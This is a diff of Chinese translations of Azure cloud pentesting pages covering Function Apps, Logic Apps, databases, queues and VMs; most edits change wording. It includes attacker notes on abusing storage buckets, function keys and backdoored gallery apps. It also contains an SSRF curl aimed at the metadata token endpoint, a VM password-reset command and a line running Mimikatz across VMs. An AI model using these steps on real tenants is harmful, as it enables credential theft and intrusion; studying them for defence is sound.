**Azure 驱动器 (Azure:)**: Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。
|
||||
**自定义工具安装**: 配置了存储帐户的用户可以安装不需要根权限的附加工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。
|
||||
**环境**:Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境,Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。
|
||||
**预安装工具**:Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git,以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块,可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。
|
||||
**$HOME 持久性**:首次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。
|
||||
**Azure 驱动器 (Azure:)**:Azure Cloud Shell 中的 PowerShell 包含 Azure 驱动器 (Azure:),允许使用类似文件系统的命令轻松导航 Azure 资源,如计算、网络和存储。使用 cd Azure: 切换到 Azure 驱动器,使用 cd ~ 返回到主目录。您仍然可以使用 Azure PowerShell cmdlet 从任何驱动器管理资源。
|
||||
**自定义工具安装**:配置了存储帐户的用户可以安装不需要根权限的额外工具。此功能允许进一步自定义 Cloud Shell 环境,使用户能够根据特定需求调整其设置。
|
||||
|
||||
## 参考
|
||||
|
||||
|
||||
@@ -183,7 +183,7 @@ mongodb://<hostname>:<port>/<database>
|
||||
在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。
|
||||
|
||||
#### 集合
|
||||
MongoDB 中数据存储的核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。
|
||||
MongoDB 中的数据存储核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。
|
||||
|
||||
#### 枚举
|
||||
|
||||
@@ -254,7 +254,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
|
||||
|
||||
#### 连接
|
||||
|
||||
在这里,您可以通过密钥或在特权提升部分中描述的方法找到密码。
|
||||
在这里,您可以通过密钥或在特权提升部分描述的方法找到密码。
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
|
||||
- **本地 AD DS 身份验证**:使用与 Microsoft Entra ID 同步的本地 Active Directory 凭据进行基于身份的访问。需要与本地 AD DS 的网络连接。
|
||||
- **Microsoft Entra 域服务身份验证**:利用 Microsoft Entra 域服务(基于云的 AD)使用 Microsoft Entra 凭据提供访问。
|
||||
- **用于混合身份的 Microsoft Entra Kerberos**:使 Microsoft Entra 用户能够通过互联网使用 Kerberos 进行 Azure 文件共享身份验证。支持混合的 Microsoft Entra 加入或 Microsoft Entra 加入的 VM,而无需与本地域控制器的连接。但不支持仅云身份。
|
||||
- **用于混合身份的 Microsoft Entra Kerberos**:使 Microsoft Entra 用户能够通过互联网使用 Kerberos 进行 Azure 文件共享的身份验证。支持混合的 Microsoft Entra 加入或 Microsoft Entra 加入的 VM,而无需与本地域控制器的连接。但不支持仅云身份。
|
||||
- **Linux 客户端的 AD Kerberos 身份验证**:允许 Linux 客户端通过本地 AD DS 或 Microsoft Entra 域服务使用 Kerberos 进行 SMB 身份验证。
|
||||
|
||||
## 枚举
|
||||
|
||||
@@ -4,31 +4,31 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行称为 **函数** 的小段代码,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务**(如 Blob 存储或事件中心)的事件。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java,使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。
|
||||
**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行小段代码,称为 **函数**,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务的事件**,如 Blob 存储或事件中心。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java,使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。
|
||||
|
||||
> [!NOTE]
|
||||
> 请注意,**Functions 是 App Services 的一个子集**,因此,这里讨论的许多功能也将被作为 Azure Apps 创建的应用程序使用(在 cli 中为 `webapp`)。
|
||||
|
||||
### 不同计划
|
||||
|
||||
- **Flex Consumption Plan**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。
|
||||
- **Traditional Consumption Plan**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。
|
||||
- **Premium Plan**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。
|
||||
- **Dedicated Plan**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。
|
||||
- **Container Apps**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。
|
||||
- **灵活消费计划**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。
|
||||
- **传统消费计划**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。
|
||||
- **高级计划**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。
|
||||
- **专用计划**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。
|
||||
- **容器应用**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。
|
||||
|
||||
### **存储桶**
|
||||
|
||||
在创建一个未容器化的新 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下,Web 控制台将为每个函数创建一个新的存储桶以存储代码。
|
||||
在创建一个新的非容器化的 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下,Web 控制台将为每个函数创建一个新的存储桶以存储代码。
|
||||
|
||||
此外,修改存储桶中的代码(以不同格式存储时),**应用的代码将被修改为新的代码,并在下次调用函数时执行**。
|
||||
此外,修改存储桶中的代码(以不同格式存储),**应用的代码将被修改为新的代码,并在下次调用函数时执行**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 从攻击者的角度来看,这非常有趣,因为 **对该存储桶的写入访问** 将允许攻击者 **破坏代码并提升权限** 到 Function App 内的托管身份。
|
||||
>
|
||||
> 更多信息请参见 **权限提升部分**。
|
||||
|
||||
还可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **主密钥和函数密钥**,位于 **`<app-name>`** 文件夹中的 JSON 文件内。
|
||||
还可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **主密钥和函数密钥**,在 **`<app-name>`** 文件夹中的 JSON 文件中可以找到。
|
||||
|
||||
请注意,Functions 还允许将代码存储在远程位置,只需指明其 URL。
|
||||
|
||||
@@ -44,24 +44,24 @@
|
||||
|
||||
### **Function App 设置和环境变量**
|
||||
|
||||
可以在应用内配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。
|
||||
可以在应用内部配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也是必需的。
|
||||
|
||||
这些环境变量或配置参数还控制函数如何执行代码,例如,如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,则会指示应用程序代码所在的 URL。
|
||||
|
||||
### **Function 沙箱**
|
||||
|
||||
在 Linux 沙箱中,源代码位于 **`/home/site/wwwroot`** 的文件 **`function_app.py`**(如果使用 Python),运行代码的用户是 **`app`**(没有 sudo 权限)。
|
||||
在 Linux 沙箱中,源代码位于 **`/home/site/wwwroot`** 的文件 **`function_app.py`** 中(如果使用 Python),运行代码的用户是 **`app`**(没有 sudo 权限)。
|
||||
|
||||
在使用 NodeJS 的 **Windows** 函数中,代码位于 **`C:\home\site\wwwroot\HttpTrigger1\index.js`**,用户名是 **`mawsFnPlaceholder8_f_v4_node_20_x86`**,并属于以下 **组**:`Mandatory Label\High Mandatory Level Label`、`Everyone`、`BUILTIN\Users`、`NT AUTHORITY\INTERACTIVE`、`CONSOLE LOGON`、`NT AUTHORITY\Authenticated Users`、`NT AUTHORITY\This Organization`、`BUILTIN\IIS_IUSRS`、`LOCAL`、`10-30-4-99\Dwas Site Users`。
|
||||
|
||||
### **托管身份和元数据**
|
||||
|
||||
与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。
|
||||
与 [**虚拟机**](vms/index.html) 一样,Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。
|
||||
|
||||
**系统分配** 的身份将是一个托管身份,**只有分配了该身份的函数** 可以使用,而 **用户分配** 的托管身份是 **任何其他 Azure 服务都可以使用的托管身份**。
|
||||
|
||||
> [!NOTE]
|
||||
> 与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的身份,因此如果您破坏了函数,始终重要的是尝试找到所有身份,因为您可能能够从一个函数提升到多个托管身份。
|
||||
> 与 [**虚拟机**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此,如果您破坏了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。
|
||||
>
|
||||
> 如果未使用系统托管身份,但一个或多个用户托管身份附加到函数,默认情况下您将无法获取任何令牌。
|
||||
|
||||
@@ -76,7 +76,7 @@
|
||||
> [!NOTE]
|
||||
> 请注意,没有 RBAC 权限可以授予用户调用函数的访问权限。**函数调用取决于创建时选择的触发器**,如果选择了 HTTP 触发器,可能需要使用 **访问密钥**。
|
||||
|
||||
在使用 **HTTP 触发器** 创建函数内的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项:
|
||||
在使用 **HTTP 触发器** 创建函数内部的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项:
|
||||
|
||||
- **ANONYMOUS**:**每个人**都可以通过 URL 访问该函数。
|
||||
- **FUNCTION**:端点仅对使用 **函数、主机或主密钥** 的用户可访问。
|
||||
@@ -86,8 +86,8 @@
|
||||
|
||||
- **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 Function App 中 **特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。
|
||||
- **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 Function App 中 **所有函数端点的访问,具有 FUNCTION 访问级别**。
|
||||
- **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。
|
||||
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可耐久函数,它们利用系统密钥与各自的 API 安全交互。
|
||||
- **主密钥**:主密钥 (`_master`) 作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。
|
||||
- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。
|
||||
|
||||
> [!TIP]
|
||||
> 使用密钥访问函数 API 端点的示例:
|
||||
@@ -96,7 +96,7 @@
|
||||
|
||||
### 基本身份验证
|
||||
|
||||
与应用服务一样,Functions 也支持基本身份验证,以通过 **SCM** 和 **FTP** 连接以使用 **Azure 提供的 URL 中的用户名和密码** 部署代码。有关更多信息,请参见:
|
||||
与应用服务一样,Functions 也支持基本身份验证,以通过 **SCM** 和 **FTP** 连接以使用 Azure 提供的 **用户名和密码的 URL** 部署代码。有关更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### 基于 Github 的部署
|
||||
|
||||
当函数从 Github 仓库生成时,Azure Web 控制台允许 **在特定仓库中自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 如下所示:
|
||||
当函数从 Github 仓库生成时,Azure Web 控制台允许在特定仓库中 **自动创建 Github 工作流**,因此每当该仓库更新时,函数的代码也会更新。实际上,Python 函数的 Github Action yaml 如下所示:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,7 +192,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者**`https://token.actions.githubusercontent.com`和**主题标识符**`repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`。
|
||||
此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者** `https://token.actions.githubusercontent.com` 和**主题标识符** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`。
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,任何妥协该仓库的人都将能够妥协该功能及其附加的托管身份。
|
||||
@@ -201,7 +201,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
|
||||
并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`**设置将类似于:`DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。
|
||||
|
||||
此外,**不会在与该功能相关的存储**帐户中存储源代码,因为不需要。
|
||||
此外,**不会在与该功能相关的存储**帐户中存储源代码,因为这不是必需的。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建
|
||||
|
||||
即使您发现 **Logic App 易受 SSRF 攻击**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。
|
||||
|
||||
例如,像这样的请求不会返回令牌:
|
||||
例如,类似这样的请求不会返回令牌:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
@@ -146,10 +146,10 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
* 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。
|
||||
* 程序集:管理集成帐户程序集,以简化逻辑和数据处理。
|
||||
* 证书:处理用于加密和签名消息的证书,确保安全通信。
|
||||
* 合作伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
|
||||
* 伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。
|
||||
* 协议:配置与交易伙伴交换数据的规则和设置(例如,EDI、AS2)。
|
||||
* 批处理配置:管理批处理配置,以高效地分组和处理消息。
|
||||
* RosettaNet PIP:配置 RosettaNet 合作伙伴接口流程(PIPs),以标准化 B2B 通信。
|
||||
* RosettaNet PIP:配置 RosettaNet 伙伴接口流程(PIPs),以标准化 B2B 通信。
|
||||
|
||||
#### 枚举
|
||||
|
||||
@@ -253,7 +253,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
|
||||
## 权限提升
|
||||
|
||||
与逻辑应用权限提升相同:
|
||||
与逻辑应用程序权限提升相同:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
|
||||
@@ -16,7 +16,7 @@ Azure Database for MySQL 是一个完全托管的关系数据库服务,基于
|
||||
- 提供停止/启动功能以节省成本。
|
||||
|
||||
### 关键特性
|
||||
* **服务器管理**:**ad-admin** 功能允许管理 Azure Active Directory (AAD) 管理员,以通过 AAD 凭据控制管理访问,而 **identity** 功能则支持 Azure 管理身份的分配和管理,提供安全的无凭据身份验证以访问 Azure 资源。
|
||||
* **服务器管理**:**ad-admin** 功能允许管理 Azure Active Directory (AAD) 管理员的 MySQL 服务器,通过 AAD 凭据提供对管理访问的控制,而 **identity** 功能则支持 Azure 管理身份的分配和管理,提供安全的无凭据身份验证以访问 Azure 资源。
|
||||
* **生命周期管理**:选项包括启动或停止服务器、删除灵活服务器实例、重启服务器以快速应用配置更改,以及等待以确保服务器满足特定条件后再继续执行自动化脚本。
|
||||
* **安全性和网络**:可以管理服务器防火墙规则以确保数据库访问安全,并根据需要分离虚拟网络配置。
|
||||
* **数据保护和备份**:包括管理灵活服务器备份以进行数据恢复的选项,执行地理恢复以在不同区域恢复服务器,导出服务器备份以供外部使用(预览中),以及从备份恢复服务器到特定时间点。
|
||||
@@ -147,7 +147,7 @@ az mysql flexible-server deploy run \
|
||||
|
||||
## 待办事项
|
||||
|
||||
* 寻找一种方法,通过 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法
|
||||
* 寻找一种方法以 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -130,7 +130,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
|
||||
|
||||
## 待办事项
|
||||
|
||||
* 寻找一种方法以 ad-admin 访问以验证这是一种权限提升方法
|
||||
* 寻找一种方法以 ad-admin 访问以验证这是否是一个权限提升方法
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**实现异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB,并支持创建和删除队列、添加、检索、更新和删除消息,以及管理元数据和访问策略等操作。虽然它通常以先进先出(FIFO)的方式处理消息,但不保证严格的 FIFO。
|
||||
Azure Queue Storage 是微软 Azure 云平台中的一项服务,旨在实现应用组件之间的消息排队,**支持异步通信和解耦**。它允许您存储无限数量的消息,每条消息最大为 64 KB,并支持创建和删除队列、添加、检索、更新和删除消息,以及管理元数据和访问策略等操作。虽然它通常以先进先出(FIFO)的方式处理消息,但不保证严格的 FIFO。
|
||||
|
||||
### 枚举
|
||||
|
||||
@@ -70,7 +70,7 @@ $queueMessage.Value
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### 后期利用
|
||||
### 利用后
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-queue-post-exploitation.md
|
||||
@@ -82,7 +82,7 @@ $queueMessage.Value
|
||||
../az-persistence/az-queue-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -4,15 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送方和接收方并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。
|
||||
Azure Service Bus 是一个基于云的 **消息服务**,旨在实现 **应用程序不同部分或独立应用程序之间的可靠通信**。它充当安全的中介,确保消息安全送达,即使发送者和接收者并不同时操作。通过解耦系统,它允许应用程序独立工作,同时仍然交换数据或指令。它特别适用于需要在多个工作者之间进行负载均衡、可靠消息传递或复杂协调的场景,例如按顺序处理任务或安全管理访问。
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** 其目的是在接收方准备好之前存储消息。
|
||||
1. **Queues:** 其目的是在接收者准备好之前存储消息。
|
||||
- 消息是有序的、带时间戳的,并且持久存储。
|
||||
- 以拉取模式交付(按需检索)。
|
||||
- 支持点对点通信。
|
||||
2. **Topics:** 发布-订阅消息,用于广播。
|
||||
2. **Topics:** 发布-订阅消息用于广播。
|
||||
- 多个独立订阅接收消息的副本。
|
||||
- 订阅可以有规则/过滤器来控制交付或添加元数据。
|
||||
- 支持多对多通信。
|
||||
@@ -43,7 +43,7 @@ SAS 策略定义了 Azure Service Bus 实体命名空间(最重要的一个)
|
||||
- Listen: 允许从实体接收消息。
|
||||
- **Primary and Secondary Keys**: 这些是用于生成安全令牌以验证访问的加密密钥。
|
||||
- **Primary and Secondary Connection Strings**: 预配置的连接字符串,包括端点和密钥,便于在应用程序中使用。
|
||||
- **SAS Policy ARM ID**: Azure 资源管理器(ARM)路径,用于程序识别策略。
|
||||
- **SAS Policy ARM ID**: Azure 资源管理器(ARM)路径,用于程序识别该策略。
|
||||
|
||||
### NameSpace
|
||||
|
||||
|
||||
@@ -76,8 +76,8 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## 图像、图库图像和还原点
|
||||
|
||||
一个 **VM 镜像** 是一个模板,包含创建新虚拟机 (VM) 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
|
||||
图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 和 **共享** 图像,跨租户共享甚至公开。
|
||||
一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
|
||||
图像可以在 Azure 的 **图像部分** 或 **Azure 计算库** 中管理,后者允许生成 **版本** 并 **跨租户共享** 图像,甚至可以公开。
|
||||
|
||||
一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
|
||||
|
||||
@@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到辅助位置。当主站点发生停机时,您可以切换到辅助位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
|
||||
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来确保业务连续性。站点恢复**复制工作负载**从主站点到次要位置的物理和虚拟机(VM)。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。在主位置恢复运行后,您可以切换回去。
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机 (VM) 提供安全无缝的**远程桌面协议 (RDP)**和**安全外壳 (SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
|
||||
Azure Bastion 通过 Azure 门户或通过跳转箱启用对虚拟机(VM)的安全和无缝的**远程桌面协议(RDP)**和**安全外壳(SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
|
||||
|
||||
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP`和`SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**工作。
|
||||
|
||||
@@ -439,7 +439,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
### 虚拟机扩展
|
||||
|
||||
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VM) 上。
|
||||
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VMs) 上。
|
||||
|
||||
这将允许 **在虚拟机内部执行任意代码**。
|
||||
|
||||
@@ -547,7 +547,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>VMAccess 扩展</summary>
|
||||
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -611,13 +611,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>混合运行簿工作者</summary>
|
||||
|
||||
这是一个 VM 扩展,允许从自动化帐户在 VMs 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
|
||||
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
|
||||
|
||||
</details>
|
||||
|
||||
### VM 应用程序
|
||||
### 虚拟机应用程序
|
||||
|
||||
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在 VMs 中添加和删除应用程序。
|
||||
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松添加和删除虚拟机中的应用程序。
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -633,9 +633,9 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
|
||||
查看如何安装新应用程序在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门,并转向其他订阅和租户。
|
||||
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。
|
||||
|
||||
但是**没有像扩展那样的虚拟机应用程序“市场”**。
|
||||
但**没有像扩展那样的 vm 应用程序“市场”**。
|
||||
|
||||
所需的权限是:
|
||||
|
||||
@@ -804,7 +804,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
